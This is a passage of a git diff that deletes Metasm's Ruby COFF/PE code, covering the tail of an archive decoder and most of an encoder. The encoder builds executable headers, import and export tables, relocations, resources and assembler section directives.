found in object at file offset offsets[42] - # offsets are sorted by object index (all syms from 1st object, then 2nd etc) - - @first_linker = names.zip(offsets) #.inject({}) { |h, (n, o)| h.update n => o } - end - - def decode_second_linker(m) - names = [] - mboffsets = [] - indices = [] - m = @members[1] - m.encoded.ptr = 0 - nummb = decode_word(m.encoded) - nummb.times { mboffsets << decode_word(m.encoded) } - numsym = decode_word(m.encoded) - numsym.times { indices << decode_half(m.encoded) } - numsym.times { names << decode_strz(m.encoded) } - - # names[42] is found in object at file offset mboffsets[indices[42]] - # symbols sorted by symbol name (supposed to be more efficient, but no index into string table...) - - #names.zip(indices).inject({}) { |h, (n, i)| h.update n => mboffsets[i] } - @second_linker = [names, mboffsets, indices] - end - - def decode_longnames(m) - @longnames = m.encoded - end - - # set real name to archive members - # look it up in the name table member if needed, or just remove the trailing / - def fixup_names - @members.each { |m| - case m.name - when '/' - when '//' - when /^\/(\d+)/ - @longnames.ptr = $1.to_i - m.name = decode_strz(@longnames).chomp("/") - else m.name.chomp! "/" - end - } - end - - def decode - @encoded.ptr = 0 - @signature = @encoded.read(8) - raise InvalidExeFormat, "Invalid COFF Archive signature #{@signature.inspect}" if @signature != "!<arch>\n" - @members = [] - while @encoded.ptr < @encoded.virtsize - @members << Member.decode(self) - end - @members.each { |m| - case m.name - when '/'; @first_linker ? decode_second_linker(m) : decode_first_linker(m) - when '//'; decode_longnames(m) - else break - end - } - fixup_names - end -end -end diff --git a/lib/metasm/metasm/exe_format/coff_encode.rb b/lib/metasm/metasm/exe_format/coff_encode.rb deleted file mode 100644 index 2f449f9e6d..0000000000 --- a/lib/metasm/metasm/exe_format/coff_encode.rb +++ /dev/null @@ -1,1076 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/encode' -require 'metasm/exe_format/coff' unless defined? Metasm::COFF - -module Metasm -class COFF - class OptionalHeader - # encodes an Optional header and the directories - def encode(coff) - opth = super(coff) - - DIRECTORIES[0, @numrva].each { |d| - if d = coff.directory[d] - d = d.dup - d[0] = Expression[d[0], :-, coff.label_at(coff.encoded, 0)] if d[0].kind_of?(::String) - else - d = [0, 0] - end - opth << coff.encode_word(d[0]) << coff.encode_word(d[1]) - } - - opth - end - - # find good default values for optheader members, based on coff.sections - def set_default_values(coff) - @signature ||= (coff.bitsize == 64 ? 'PE+' : 'PE') - @link_ver_maj ||= 1 - @link_ver_min ||= 0 - @sect_align ||= 0x1000 - align = lambda { |sz| EncodedData.align_size(sz, @sect_align) } - @code_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_CODE' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @data_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_DATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @udata_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_UDATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @entrypoint = Expression[@entrypoint, :-, coff.label_at(coff.encoded, 0)] if entrypoint and not @entrypoint.kind_of?(::Integer) - tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_CODE' } - @base_of_code ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) - tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_DATA' } - @base_of_data ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) - @file_align ||= 0x200 - @os_ver_maj ||= 4 - @subsys_maj ||= 4 - @stack_reserve||= 0x100000 - @stack_commit ||= 0x1000 - @heap_reserve ||= 0x100000 - @heap_commit ||= 0x1000 - @numrva ||= DIRECTORIES.length - - super(coff) - end - end - - class Section - # find good default values for section header members, defines rawaddr/rawsize as new_label for later fixup - def set_default_values(coff) - @name ||= '' - @virtsize ||= @encoded.virtsize - @virtaddr ||= Expression[coff.label_at(@encoded, 0, 'sect_start'), :-, coff.label_at(coff.encoded, 0)] - @rawsize ||= coff.new_label('sect_rawsize') - @rawaddr ||= coff.new_label('sect_rawaddr') - - super(coff) - end - end - - class ExportDirectory - # encodes an export directory - def encode(coff) - edata = {} - %w[edata addrtable namptable ord_table libname nametable].each { |name| - edata[name] = EncodedData.new - } - label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - - # ordinal base: smallest number > 1 to honor ordinals, minimize gaps - olist = @exports.map { |e| e.ordinal }.compact - # start with lowest ordinal, substract all exports unused to fill ordinal sequence gaps - omin = olist.min.to_i - gaps = olist.empty? ? 0 : olist.max+1 - olist.min - olist.length - noord = @exports.length - olist.length - @ordinal_base ||= [omin - (noord - gaps), 1].max - - @libname_p = rva['libname'] - @num_exports = [@exports.length, @exports.map { |e| e.ordinal }.compact.max.to_i - @ordinal_base].max - @num_names = @exports.find_all { |e| e.name }.length - @func_p = rva['addrtable'] - @names_p = rva['namptable'] - @ord_p = rva['ord_table'] - - edata['edata'] << super(coff) - - edata['libname'] << @libname << 0 - - elist = @exports.find_all { |e| e.name and not e.ordinal }.sort_by { |e| e.name } - @exports.find_all { |e| e.ordinal }.sort_by { |e| e.ordinal }.each { |e| elist.insert(e.ordinal-@ordinal_base, e) } - elist.each { |e| - if not e - # export by ordinal with gaps - # XXX test this value with the windows loader - edata['addrtable'] << coff.encode_word(0xffff_ffff) - next - end - if e.forwarder_lib - edata['addrtable'] << coff.encode_word(rva_end['nametable']) - edata['nametable'] << e.forwarder_lib << ?. << - if not e.forwarder_name - "##{e.forwarder_ordinal}" - else - e.forwarder_name - end << 0 - else - edata['addrtable'] << coff.encode_word(Expression[e.target, :-, coff.label_at(coff.encoded, 0)]) - end - if e.name - edata['ord_table'] << coff.encode_half(edata['addrtable'].virtsize/4 - 1) - edata['namptable'] << coff.encode_word(rva_end['nametable']) - edata['nametable'] << e.name << 0 - end - } - - # sorted by alignment directives - %w[edata addrtable namptable ord_table libname nametable].inject(EncodedData.new) { |ed, name| ed << edata[name] } - end - - def set_default_values(coff) - @timestamp ||= Time.now.to_i - @libname ||= 'metalib' - @ordinal_base ||= 1 - - super(coff) - end - end - - class ImportDirectory - # encode all import directories + iat - def self.encode(coff, ary) - edata = { 'iat' => [] } - %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new } - - ary.each { |i| i.encode(coff, edata) } - - it = edata['idata'] << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - edata['ilt'] << - edata['nametable'] - - iat = edata['iat'] # why not fragmented ? - - [it, iat] - end - - # encode one import directory + iat + names in the edata hash received as arg - def encode(coff, edata) - edata['iat'] << EncodedData.new - # edata['ilt'] = edata['iat'] - label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - - @libname_p = rva_end['nametable'] - @ilt_p = rva_end['ilt'] - @iat_p ||= Expression[coff.label_at(edata['iat'].last, 0, 'iat'), :-, coff.label_at(coff.encoded, 0)] - edata['idata'] << super(coff) - - edata['nametable'] << @libname << 0 - - ord_mask = 1 << (coff.bitsize - 1) - @imports.each { |i| - edata['iat'].last.add_export i.target, edata['iat'].last.virtsize if i.target - if i.ordinal - ptr = coff.encode_xword(Expression[i.ordinal, :|, ord_mask]) - else - edata['nametable'].align 2 - ptr = coff.encode_xword(rva_end['nametable']) - edata['nametable'] << coff.encode_half(i.hint || 0) << i.name << 0 - end - edata['ilt'] << ptr - edata['iat'].last << ptr - } - edata['ilt'] << coff.encode_xword(0) - edata['iat'].last << coff.encode_xword(0) - end - end - - class TLSDirectory - def encode(coff) - cblist = EncodedData.new - @callback_p = coff.label_at(cblist, 0, 'callback_p') - @callbacks.to_a.each { |cb| - cblist << coff.encode_xword(cb) - } - cblist << coff.encode_xword(0) - - dir = super(coff) - - [dir, cblist] - end - - def set_default_values(coff) - @start_va ||= 0 - @end_va ||= @start_va - - super(coff) - end - end - - class RelocationTable - # encodes a COFF relocation table - def encode(coff) - rel = super(coff) << coff.encode_word(8 + 2*@relocs.length) - @relocs.each { |r| rel << r.encode(coff) } - rel - end - - def set_default_values(coff) - # @base_addr is an rva - @base_addr = Expression[@base_addr, :-, coff.label_at(coff.encoded, 0)] if @base_addr.kind_of?(::String) - - # align relocation table size - if @relocs.length % 2 != 0 - r = Relocation.new - r.type = 0 - r.offset = 0 - @relocs << r - end - - super(coff) - end - end - - class ResourceDirectory - # compiles ressource directories - def encode(coff, edata = nil) - if not edata - # init recursion - edata = {} - subtables = %w[table names dataentries data] - subtables.each { |n| edata[n] = EncodedData.new } - encode(coff, edata) - return subtables.inject(EncodedData.new) { |sum, n| sum << edata[n] } - end - - label = lambda { |n| coff.label_at(edata[n], 0, n) } - # data 'rva' are real rvas (from start of COFF) - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - # names and table 'rva' are relative to the beginning of the resource directory - off_end = lambda { |n| Expression[[label[n], :-, coff.label_at(edata['table'], 0)], :+, edata[n].virtsize] } - - # build name_w if needed - @entries.each { |e| e.name_w = e.name.unpack('C*').pack('v*') if e.name and not e.name_w } - - # fixup forward references to us, as subdir - edata['table'].fixup @curoff_label => edata['table'].virtsize if defined? @curoff_label - - @nr_names = @entries.find_all { |e| e.name_w }.length - @nr_id = @entries.find_all { |e| e.id }.length - edata['table'] << super(coff) - - # encode entries, sorted by names nocase, then id - @entries.sort_by { |e| e.name_w ? [0, e.name_w.downcase] : [1, e.id] }.each { |e| - if e.name_w - edata['table'] << coff.encode_word(Expression[off_end['names'], :|, 1 << 31]) - edata['names'] << coff.encode_half(e.name_w.length/2) << e.name_w - else - edata['table'] << coff.encode_word(e.id) - end - - if e.subdir - e.subdir.curoff_label = coff.new_label('rsrc_curoff') - edata['table'] << coff.encode_word(Expression[e.subdir.curoff_label, :|, 1 << 31]) - else # data entry - edata['table'] << coff.encode_word(off_end['dataentries']) - - edata['dataentries'] << - coff.encode_word(rva_end['data']) << - coff.encode_word(e.data.length) << - coff.encode_word(e.codepage || 0) << - coff.encode_word(e.reserved || 0) - - edata['data'] << e.data - end - } - - # recurse - @entries.find_all { |e| e.subdir }.each { |e| e.subdir.encode(coff, edata) } - end - end - - - # computes the checksum for a given COFF file - # may not work with overlapping sections - def self.checksum(str, endianness = :little) - coff = load str - coff.endianness = endianness - coff.decode_header - coff.encoded.ptr = 0 - - flen = 0 - csum = 0 - # negate old checksum - oldcs = coff.encode_word(coff.optheader.checksum) - oldcs.ptr = 0 - csum -= coff.decode_half(oldcs) - csum -= coff.decode_half(oldcs) - - # checksum header - raw = coff.encoded.read(coff.optheader.headers_size) - flen += coff.optheader.headers_size - - coff.sections.each { |s| - coff.encoded.ptr = s.rawaddr - raw << coff.encoded.read(s.rawsize) - flen += s.rawsize - } - raw.unpack(endianness == :little ? 'v*' : 'n*').each { |s| - csum += s - csum = (csum & 0xffff) + (csum >> 16) if (csum >> 16) > 0 - } - csum + flen - end - - - def encode_byte(w) Expression[w].encode(:u8, @endianness, (caller if $DEBUG)) end - def encode_half(w) Expression[w].encode(:u16, @endianness, (caller if $DEBUG)) end - def encode_word(w) Expression[w].encode(:u32, @endianness, (caller if $DEBUG)) end - def encode_xword(w) Expression[w].encode((@bitsize == 32 ? :u32 : :u64), @endianness, (caller if $DEBUG)) end - - - # adds a new compiler-generated section - def encode_append_section(s) - if (s.virtsize || s.encoded.virtsize) < 4096 - # find section to merge with - # XXX check following sections for hardcoded base address ? - - char = s.characteristics.dup - secs = @sections.dup - # do not merge non-discardable in discardable - if not char.delete 'MEM_DISCARDABLE' - secs.delete_if { |ss| ss.characteristics.include? 'MEM_DISCARDABLE' } - end - # do not merge shared w/ non-shared - if char.delete 'MEM_SHARED' - secs.delete_if { |ss| not ss.characteristics.include? 'MEM_SHARED' } - else - secs.delete_if { |ss| ss.characteristics.include? 'MEM_SHARED' } - end - secs.delete_if { |ss| ss.virtsize.kind_of?(::Integer) or ss.rawsize.kind_of?(::Integer) or secs[secs.index(ss)+1..-1].find { |ss_| ss_.virtaddr.kind_of?(::Integer) } } - - # try to find superset of characteristics - if target = secs.find { |ss| (ss.characteristics & char) == char } - target.encoded.align 8 - puts "PE: merging #{s.name} in #{target.name} (#{target.encoded.virtsize})" if $DEBUG - s.encoded = target.encoded << s.encoded - else - @sections << s - end - else - @sections << s - end - end - - # encodes the export table as a new section, updates directory['export_table'] - def encode_exports - edata = @export.encode self - - # must include name tables (for forwarders) - @directory['export_table'] = [label_at(edata, 0, 'export_table'), edata.virtsize] - - s = Section.new - s.name = '.edata' - s.encoded = edata - s.characteristics = %w[MEM_READ] - encode_append_section s - end - - # encodes the import tables as a new section, updates directory['import_table'] and directory['iat'] - def encode_imports - idata, iat = ImportDirectory.encode(self, @imports) - - @directory['import_table'] = [label_at(idata, 0, 'idata'), idata.virtsize] - - s = Section.new - s.name = '.idata' - s.encoded = idata - s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE] - encode_append_section s - - if @imports.first and @imports.first.iat_p.kind_of?(Integer) - # ordiat = iat.sort_by { @import[x].iat_p } - ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it } - else - ordiat = iat - end - - @directory['iat'] = [label_at(ordiat.first, 0, 'iat'), - Expression[label_at(ordiat.last, ordiat.last.virtsize, 'iat_end'), :-, label_at(ordiat.first, 0)]] if not ordiat.empty? - - iat_s = nil - - plt = Section.new - plt.name = '.plt' - plt.encoded = EncodedData.new - plt.characteristics = %w[MEM_READ MEM_EXECUTE] - - @imports.zip(iat) { |id, it| - if id.iat_p.kind_of?(Integer) and @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } - id.iat = it # will be fixed up after encode_section - else - # XXX should not be mixed (for @directory['iat'][1]) - if not iat_s - iat_s = Section.new - iat_s.name = '.iat' - iat_s.encoded = EncodedData.new - iat_s.characteristics = %w[MEM_READ MEM_WRITE] - encode_append_section iat_s - end - iat_s.encoded << it - end - - id.imports.each { |i| - if i.thunk - arch_encode_thunk(plt.encoded, i) - end - } - } - - encode_append_section plt if not plt.encoded.empty? - end - - # encodes a thunk to imported function - def arch_encode_thunk(edata, import) - case @cpu.shortname - when 'ia32', 'x64' - shellcode = lambda { |c| Shellcode.new(@cpu).share_namespace(self).assemble(c).encoded } - if @cpu.generate_PIC - if @cpu.shortname == 'x64' - edata << shellcode["#{import.thunk}: jmp [rip-$_+#{import.target}]"] - return - end - # sections starts with a helper function that returns the address of metasm_intern_geteip in eax (PIC) - if not @sections.find { |s| s.encoded and s.encoded.export['metasm_intern_geteip'] } and edata.empty? - edata << shellcode["metasm_intern_geteip: call 42f\n42:\npop eax\nsub eax, 42b-metasm_intern_geteip\nret"] - end - edata << shellcode["#{import.thunk}: call metasm_intern_geteip\njmp [eax+#{import.target}-metasm_intern_geteip]"] - else - edata << shellcode["#{import.thunk}: jmp [#{import.target}]"] - end - else raise EncodeError, 'E: COFF: encode import thunk: unsupported architecture' - end - end - - def encode_tls - dir, cbtable = @tls.encode(self) - @directory['tls_table'] = [label_at(dir, 0, 'tls_table'), dir.virtsize] - - s = Section.new - s.name = '.tls' - s.encoded = EncodedData.new << dir << cbtable - s.characteristics = %w[MEM_READ MEM_WRITE] - encode_append_section s - end - - # encodes relocation tables in a new section .reloc, updates @directory['base_relocation_table'] - def encode_relocs - if @relocations.empty? - rt = RelocationTable.new - rt.base_addr = 0 - rt.relocs = [] - @relocations << rt - end - relocs = @relocations.inject(EncodedData.new) { |edata, rt_| edata << rt_.encode(self) } - - @directory['base_relocation_table'] = [label_at(relocs, 0, 'reloc_table'), relocs.virtsize] - - s = Section.new - s.name = '.reloc' - s.encoded = relocs - s.characteristics = %w[MEM_READ MEM_DISCARDABLE] - encode_append_section s - end - - # creates the @relocations from sections.encoded.reloc - def create_relocation_tables - @relocations = [] - - # create a fake binding with all exports, to find only-image_base-dependant relocs targets - # not foolproof, but works in standard cases - startaddr = curaddr = label_at(@encoded, 0, 'coff_start') - binding = {} - @sections.each { |s| - binding.update s.encoded.binding(curaddr) - curaddr = Expression[curaddr, :+, s.encoded.virtsize] - } - - # for each section.encoded, make as many RelocationTables as needed - @sections.each { |s| - - # rt.base_addr temporarily holds the offset from section_start, and is fixed up to rva before '@reloc << rt' - rt = RelocationTable.new - - s.encoded.reloc.each { |off, rel| - # check that the relocation looks like "program_start + integer" when bound using the fake binding - # XXX allow :i32 etc - if rel.endianness == @endianness and [:u32, :a32, :u64, :a64].include?(rel.type) and - rel.target.bind(binding).reduce.kind_of?(Expression) and - Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # winner ! - - # build relocation - r = RelocationTable::Relocation.new - r.offset = off & 0xfff - r.type = { :u32 => 'HIGHLOW', :u64 => 'DIR64', :a32 => 'HIGHLOW', :a64 => 'DIR64' }[rel.type] - - # check if we need to start a new relocation table - if rt.base_addr and (rt.base_addr & ~0xfff) != (off & ~0xfff) - rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] - @relocations << rt - rt = RelocationTable.new - end - - # initialize reloc table base address if needed - rt.base_addr ||= off & ~0xfff - - (rt.relocs ||= []) << r - elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer) - puts "W: COFF: Ignoring weird relocation #{rel.inspect} when building relocation tables" - end - } - - if rt and rt.relocs - rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] - @relocations << rt - end - } - end - - def encode_resource - res = @resource.encode self - - @directory['resource_table'] = [label_at(res, 0, 'resource_table'), res.virtsize] - - s = Section.new - s.name = '.rsrc' - s.encoded = res - s.characteristics = %w[MEM_READ] - encode_append_section s - end - - # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj'] - def pre_encode_header(target='exe', want_relocs=true) - target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target) - - @header.machine ||= case @cpu.shortname - when 'x64'; 'AMD64' - when 'ia32'; 'I386' - end - @optheader.signature ||= case @cpu.size - when 32; 'PE' - when 64; 'PE+' - end - @bitsize = (@optheader.signature == 'PE+' ? 64 : 32) - - # setup header flags - tmp = %w[LINE_NUMS_STRIPPED LOCAL_SYMS_STRIPPED DEBUG_STRIPPED] + - case target - when 'exe'; %w[EXECUTABLE_IMAGE] - when 'dll'; %w[EXECUTABLE_IMAGE DLL] - when 'kmod'; %w[EXECUTABLE_IMAGE] - when 'obj'; [] - end - if @cpu.size == 32 - tmp << 'x32BIT_MACHINE' - else - tmp << 'LARGE_ADDRESS_AWARE' - end - tmp << 'RELOCS_STRIPPED' if not want_relocs - @header.characteristics ||= tmp - - @optheader.subsystem ||= case target - when 'exe', 'dll'; 'WINDOWS_GUI' - when 'kmod'; 'NATIVE' - end - - tmp = [] - tmp << 'NX_COMPAT' - tmp << 'DYNAMIC_BASE' if want_relocs - @optheader.dll_characts ||= tmp - end - - # resets the values in the header that may have been - # modified by your script (eg section count, size, imagesize, etc) - # call this whenever you decode a file, modify it, and want to reencode it later - def invalidate_header - # set those values to nil, they will be - # recomputed during encode_header - [:code_size, :data_size, :udata_size, :base_of_code, :base_of_data, - :sect_align, :file_align, :image_size, :headers_size, :checksum].each { |m| @optheader.send("#{m}=", nil) } - [:num_sect, :ptr_sym, :num_sym, :size_opthdr].each { |m| @header.send("#{m}=", nil) } - end - - # appends the header/optheader/directories/section table to @encoded - def encode_header - # encode section table, add CONTAINS_* flags from other characteristics flags - s_table = EncodedData.new - - @sections.each { |s| - if s.characteristics.kind_of? Array and s.characteristics.include? 'MEM_READ' - if s.characteristics.include? 'MEM_EXECUTE' - s.characteristics |= ['CONTAINS_CODE'] - elsif s.encoded - if s.encoded.rawsize == 0 - s.characteristics |= ['CONTAINS_UDATA'] - else - s.characteristics |= ['CONTAINS_DATA'] - end - end - end - s.rawaddr = nil if s.rawaddr.kind_of?(::Integer) # XXX allow to force rawaddr ? - s_table << s.encode(self) - } - - # encode optional header - @optheader.image_size ||= new_label('image_size') - @optheader.image_base ||= label_at(@encoded, 0) - @optheader.headers_size ||= new_label('headers_size') - @optheader.checksum ||= new_label('checksum') - @optheader.subsystem ||= 'WINDOWS_GUI' - @optheader.numrva = nil - opth = @optheader.encode(self) - - # encode header - @header.machine ||= 'UNKNOWN' - @header.num_sect ||= sections.length - @header.time ||= Time.now.to_i & -255 - @header.size_opthdr ||= opth.virtsize - @encoded << @header.encode(self) << opth << s_table - end - - # append the section bodies to @encoded, and link the resulting binary - def encode_sections_fixup - if @optheader.headers_size.kind_of?(::String) - @encoded.fixup! @optheader.headers_size => @encoded.virtsize - @optheader.headers_size = @encoded.virtsize - end - @encoded.align @optheader.file_align - - baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000 - binding = @encoded.binding(baseaddr) - - curaddr = baseaddr + @optheader.headers_size - @sections.each { |s| - # align - curaddr = EncodedData.align_size(curaddr, @optheader.sect_align) - if s.rawaddr.kind_of?(::String) - @encoded.fixup! s.rawaddr => @encoded.virtsize - s.rawaddr = @encoded.virtsize - end - if s.virtaddr.kind_of?(::Integer) - raise "E: COFF: cannot encode section #{s.name}: hardcoded address too short" if curaddr > baseaddr + s.virtaddr - curaddr = baseaddr + s.virtaddr - end - binding.update s.encoded.binding(curaddr) - curaddr += s.virtsize - - pre_sz = @encoded.virtsize - @encoded << s.encoded[0, s.encoded.rawsize] - @encoded.align @optheader.file_align - if s.rawsize.kind_of?(::String) - @encoded.fixup! s.rawsize => (@encoded.virtsize - pre_sz) - s.rawsize = @encoded.virtsize - pre_sz - end - } - - # not aligned ? spec says it is, visual studio does not - binding[@optheader.image_size] = curaddr - baseaddr if @optheader.image_size.kind_of?(::String) - - # patch the iat where iat_p was defined - # sort to ensure a 0-terminated will not overwrite an entry - # (try to dump notepad.exe, which has a forwarder;) - @imports.find_all { |id| id.iat_p.kind_of?(Integer) }.sort_by { |id| id.iat_p }.each { |id| - s = sect_at_rva(id.iat_p) - @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat - binding.update id.iat.binding(baseaddr + id.iat_p) - } if imports - - @encoded.fill - @encoded.fixup! binding - - if @optheader.checksum.kind_of?(::String) and @encoded.reloc.length == 1 - # won't work if there are other unresolved relocs - checksum = self.class.checksum(@encoded.data, @endianness) - @encoded.fixup @optheader.checksum => checksum - @optheader.checksum = checksum - end - end - - # encode a COFF file, building export/import/reloc tables if needed - # creates the base relocation tables (need for references to IAT not known before) - # defaults to generating relocatable files, eg ALSR-aware - # pass want_relocs=false to avoid the file overhead induced by this - def encode(target='exe', want_relocs=true) - @encoded = EncodedData.new - label_at(@encoded, 0, 'coff_start') - pre_encode_header(target, want_relocs) - autoimport - encode_exports if export - encode_imports if imports - encode_resource if resource - encode_tls if tls - create_relocation_tables if want_relocs - encode_relocs if relocations - encode_header - encode_sections_fixup - @encoded.data - end - - def parse_init - # ahem... - # a fake object, which when appended makes us parse '.text', which creates a real default section - # forwards to it this first appendage. - # allows the user to specify its own section if he wishes, and to use .text if he doesn't - if not defined? @cursource or not @cursource - @cursource = ::Object.new - class << @cursource - attr_accessor :coff - def <<(*a) - t = Preprocessor::Token.new(nil) - t.raw = '.text' - coff.parse_parser_instruction t - coff.cursource.send(:<<, *a) - end - end - @cursource.coff = self - end - @source ||= {} - super() - end - - # handles compiler meta-instructions - # - # syntax: - # .section "<section name>" <perm list> <base> - # section name is a string (may be quoted) - # perms are in 'r' 'w' 'x' 'shared' 'discard', may be concatenated (in this order), may be prefixed by 'no' to remove the attribute for an existing section - # base is the token 'base', the token '=' and an immediate expression - # default sections: - # .text = .section '.text' rx - # .data = .section '.data' rw - # .rodata = .section '.rodata' r - # .bss = .section '.bss' rw - # .entrypoint | .entrypoint <label> - # defines the label as the program entrypoint - # without argument, creates a label used as entrypoint - # .libname "<name>" - # defines the string to be used as exported library name (should be the same as the file name, may omit extension) - # .export ["<exported_name>"] [<ordinal>] [<label_name>] - # exports the specified label with the specified name (label_name defaults to exported_name) - # if exported_name is an unquoted integer, the export is by ordinal. XXX if the ordinal starts with '0', the integer is interpreted as octal - # .import "<libname>" "<import_name|ordinal>" [<thunk_name>] [<label_name>] - # imports a symbol from a library - # if the thunk name is specified and not 'nil', the compiler will generate a thunk that can be called (in ia32, 'call thunk' == 'call [import_name]') - # the thunk is position-independent, and should be used instead of the indirect call form, for imported functions - # label_name is the label to attribute to the location that will receive the address of the imported symbol, defaults to import_name (iat_<import_name> if thunk == iname) - # .image_base <base> - # specifies the COFF prefered load address, base is an immediate expression - # - def parse_parser_instruction(instr) - readstr = lambda { - @lexer.skip_space - raise instr, 'string expected' if not t = @lexer.readtok or (t.type != :string and t.type != :quoted) - t.value || t.raw - } - check_eol = lambda { - @lexer.skip_space - raise instr, 'eol expected' if t = @lexer.nexttok and t.type != :eol - } - case instr.raw.downcase - when '.text', '.data', '.rodata', '.bss' - sname = instr.raw.downcase - if not @sections.find { |s| s.name == sname } - s = Section.new - s.name = sname - s.encoded = EncodedData.new - s.characteristics = case sname - when '.text'; %w[MEM_READ MEM_EXECUTE] - when '.data', '.bss'; %w[MEM_READ MEM_WRITE] - when '.rodata'; %w[MEM_READ] - end - @sections << s - end - @cursource = @source[sname] ||= [] - check_eol[] if instr.backtrace # special case for magic @cursource - - when '.section' - # .section <section name|"section name"> [(no)r w x shared discard] [base=<expr>] - sname = readstr[] - if not s = @sections.find { |s_| s_.name == sname } - s = Section.new - s.name = sname - s.encoded = EncodedData.new - s.characteristics = [] - @sections << s - end - loop do - @lexer.skip_space - break if not tok = @lexer.nexttok or tok.type != :string - case @lexer.readtok.raw.downcase - when /^(no)?(r)?(w)?(x)?(shared)?(discard)?$/ - ar = [] - ar << 'MEM_READ' if $2 - ar << 'MEM_WRITE' if $3 - ar << 'MEM_EXECUTE' if $4 - ar << 'MEM_SHARED' if $5 - ar << 'MEM_DISCARDABLE' if $6 - if $1; s.characteristics -= ar - else s.characteristics |= ar - end - when 'base' - @lexer.skip_space - @lexer.unreadtok tok if not tok = @lexer.readtok or tok.type != :punct or tok.raw != '=' - raise instr, 'invalid base' if not s.virtaddr = Expression.parse(@lexer).reduce or not s.virtaddr.kind_of?(::Integer) - if not @optheader.image_base - @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 - puts "Warning: no image_base specified, using #{Expression[@optheader.image_base]}" if $VERBOSE - end - s.virtaddr -= @optheader.image_base - else raise instr, 'unknown parameter' - end - end - @cursource = @source[sname] ||= [] - check_eol[] - - when '.libname' - # export directory library name - # .libname <libname|"libname"> - @export ||= ExportDirectory.new - @export.libname = readstr[] - check_eol[] - - when '.export' - # .export <export name|ordinal|"export name"> [ordinal] [label to export if different] - @lexer.skip_space - raise instr, 'string expected' if not tok = @lexer.readtok or (tok.type != :string and tok.type != :quoted) - exportname = tok.value || tok.raw - if tok.type == :string and (?0..?9).include? tok.raw[0] - exportname = Integer(exportname) rescue raise(tok, "bad ordinal value, try quotes #{' or rm leading 0' if exportname[0] == ?0}") - end - - @lexer.skip_space - tok = @lexer.readtok - if tok and tok.type == :string and (?0..?9).include? tok.raw[0] - (eord = Integer(tok.raw)) rescue @lexer.unreadtok(tok) - else @lexer.unreadtok(tok) - end - - @lexer.skip_space - tok = @lexer.readtok - if tok and tok.type == :string - exportlabel = tok.raw - else - @lexer.unreadtok tok - end - - @export ||= ExportDirectory.new - @export.exports ||= [] - e = ExportDirectory::Export.new - if exportname.kind_of? Integer - e.ordinal = exportname - else - e.name = exportname - e.ordinal = eord if eord - end - e.target = exportlabel || exportname - @export.exports << e - check_eol[] - - when '.import' - # .import <libname|"libname"> <imported sym|"imported sym"> [label of plt thunk|nil] [label of iat element if != symname] - libname = readstr[] - i = ImportDirectory::Import.new - - @lexer.skip_space - raise instr, 'string expected' if not tok = @lexer.readtok or (tok.type != :string and tok.type != :quoted) - if tok.type == :string and (?0..?9).include? tok.raw[0] - i.ordinal = Integer(tok.raw) - else - i.name = tok.value || tok.raw - end - - @lexer.skip_space - if tok = @lexer.readtok and tok.type == :string - i.thunk = tok.raw if tok.raw != 'nil' - @lexer.skip_space - tok = @lexer.readtok - end - if tok and tok.type == :string - i.target = tok.raw - else - i.target = ((i.thunk == i.name) ? ('iat_' + i.name) : (i.name ? i.name : (i.thunk ? 'iat_' + i.thunk : raise(instr, 'need iat label')))) - @lexer.unreadtok tok - end - raise tok, 'import target exists' if i.target != new_label(i.target) - - @imports ||= [] - if not id = @imports.find { |id_| id_.libname == libname } - id = ImportDirectory.new - id.libname = libname - id.imports = [] - @imports << id - end - id.imports << i - - check_eol[] - - when '.entrypoint' - # ".entrypoint <somelabel/expression>" or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr, 'syntax error' if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @optheader.entrypoint = entrypoint - check_eol[] - - when '.image_base' - raise instr if not base = Expression.parse(@lexer) or !(base = base.reduce).kind_of?(::Integer) - @optheader.image_base = base - check_eol[] - - when '.subsystem' - @lexer.skip_space - raise instr if not tok = @lexer.readtok - 